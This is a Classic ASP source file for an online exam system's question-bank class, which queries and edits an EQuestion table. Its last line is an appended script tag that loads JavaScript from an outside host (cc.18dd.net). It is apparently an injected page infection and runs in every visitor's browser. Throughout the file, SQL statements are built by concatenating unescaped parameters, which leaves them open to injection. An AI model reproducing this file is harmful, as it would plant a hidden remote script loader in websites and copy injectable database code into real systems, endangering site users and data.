equestion.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EQuestion的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EQuestion
    Public QId    '试题编号
    Public LId     '课程编号
	public TId    '试题类型
	public QTitle  '试题题目
	public A 'A选项
	public B 'B选项
	public C 'C选项
	public D 'D选项
	public QAnswer '答案
	public Flag   '标志，0-未选中；1-已选中
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个试题信息
    public sub GetQuestionInfo(QId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EQuestion WHERE QId=" & QId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取指定的试题信息
    public sub GetQuestionlist(tid,lid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
	  If lid=0 Then  '选择所有试题
 	    sql = "SELECT * FROM EQuestion Order By QId"
 	  ElseIf tid=0 And lid>0 Then '选择指定课程下的试题
 	    sql = "SELECT * FROM EQuestion Where LId=" & lid & " Order By QId"
 	  Else   '选择指定类型和课程下的试题
 	    sql = "SELECT * FROM EQuestion Where TId=" & tid & " And LId=" & lid & " Order By QId"
 	  End If
	  '打开记录集
	  rs.Open sql
    End Sub
	'随机指定课程、类型、试题信息
    public sub GetQuestionByType(tid,lid,n)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      sql = "SELECT * FROM EQuestion Where TId=" & tid & " And LId=" & _
	    lid & " And flag=0 And QId<=" & n & " Order By QId DESC"
	  '打开记录集
	  rs.Open sql
    End Sub

	'插入试题信息
    Public Sub InsertQuestion()
      strSql = "Insert Into EQuestion Values(" & LId & "," & TId & ",'" & QTitle & "','" & _
        A & "','" & B & "','" & C & "','" & D & "','" & QAnswer & "',0)"
      conn.Execute(strSql)
    End Sub
	'修改试题信息
    Public Sub UpdateQuestion(QId)
      strSql = "Update EQuestion Set LId=" & LId & ",TId=" & TId & ",QTitle='" & _
        QTitle & "',A='" & A & "',B='" & B & "',C='" & C & "',D='" & D & "',QAnswer='" & _
        QAnswer & "' Where QId=" & QId
      conn.Execute(strSql)
    End Sub
	'删除试题信息
    Public Sub DeleteQuestion(qids)
      strSql = "DELETE FROM EQuestion WHERE QId In(" & qids & ")"
      conn.Execute(strSql)
    End Sub
	'修改试题选中标志
    Public Sub UpdateFlag(qid,nflag)
	  If nflag=0 Then '更改所有试题为未选中
	    strSql = "Update EQuestion Set Flag=0"
	  Else
        strSql = "Update EQuestion Set Flag=1 Where QId=" & qid
	  End If
      conn.Execute(strSql)
    End Sub
   	'读取指定类型和课程的试题数量
	Public Function GetCount(tid,lid)
	  strSql = "Select Count(*) as tn From EQuestion Where TId=" & _
	    tid & " And LId=" & lid 
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If IsNull(rs("tn")) Then
        GetCount = 0
	  Else
        GetCount = rs("tn")
	  End If
	End Function
   	'读取试题类型名称
	Public Function GetTypeName(qid)
	  strSql = "Select t.TName From EQuestion q,EType t Where q.QId=" & qid & _
	    " And q.TId=t.TId"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
        GetTypeName = ""
	  Else
        GetTypeName = rs("TName")
	  End If
	End Function
    	'判断指定的课程编号是否存在
	Public Function HaveLId(lid)
	  strSql = "Select * From EQuestion Where LId=" & lid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveLId = exist
	End Function
    	'判断指定的类型编号是否存在
	Public Function HaveTId(tid)
	  strSql = "Select * From EQuestion Where TId=" & Tid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveTId = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>